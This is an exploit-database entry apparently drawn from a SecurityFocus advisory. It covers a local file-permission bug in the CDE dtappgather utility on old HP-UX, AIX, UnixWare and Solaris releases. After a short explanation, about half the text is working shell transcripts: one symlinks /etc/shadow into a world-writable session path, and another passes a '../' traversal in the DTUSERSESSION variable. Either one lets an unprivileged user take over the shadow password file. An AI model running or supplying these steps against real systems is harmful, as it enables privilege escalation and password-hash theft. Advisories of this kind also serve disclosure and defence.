HP HP-UX 10.20/11.0 / IBM AIX 4.3 / SCO Unixware 7.0 / Sun Solaris 2.6 - Change File Permission

source: https://www.securityfocus.com/bid/131/info

Due to improper checking of ownership, the dtappgather utility shipped with the Common Desktop Environment allows arbitrary users to overwrite any file present on the filesystem, regardless of the owner of the file. 

dtappgather uses a directory of permissions 0777 to create temporary files used by each login session. /var/dt/appconfig/appmanager/generic-display-0 is not checked for existence prior to the opening of the file by dtappgather, and as such, if a user were to create a symbolic link from this file to another on the filesystem, the permissions of this file would be changed to 0666.

An additional bug exists whereby dtappgather blindly uses the contents of the DTUSERSESSION environment variable. By setting this variable to point to a file on the filesystem, its permissions can also be changed. As this command takes place relative to the /var/dt/appconfig directory, a series of '..' are required to establish the root directory, after which any file can be altered.

% ls -l /etc/shadow
-r--r--r-- 1 root other 1500 Dec 29 18:21 /etc/shadow
% ln -s /etc/shadow /var/dt/appconfig/appmanager/generic-display-0
% dtappgather
MakeDirectory: /var/dt/appconfig/appmanager/generic-display-0: File exists
% ls -l /etc/shadow
-r-xr-xr-x 1 user users 1500 Dec 29 18:21 /etc/shadow
---------------------------------------------
$ id
uid=6969(foo) gid=666(bar)
$ ls -l /etc/shadow
-r-------- 1 root sys 234 Nov 7 1999 /etc/shadow
$ env DTUSERSESSION=../../../../../../../etc/shadow dtappgather
$ ls -l /etc/shadow
-r-xr-xr-x 1 foo bar 234 Nov 7 1999 /etc/shadow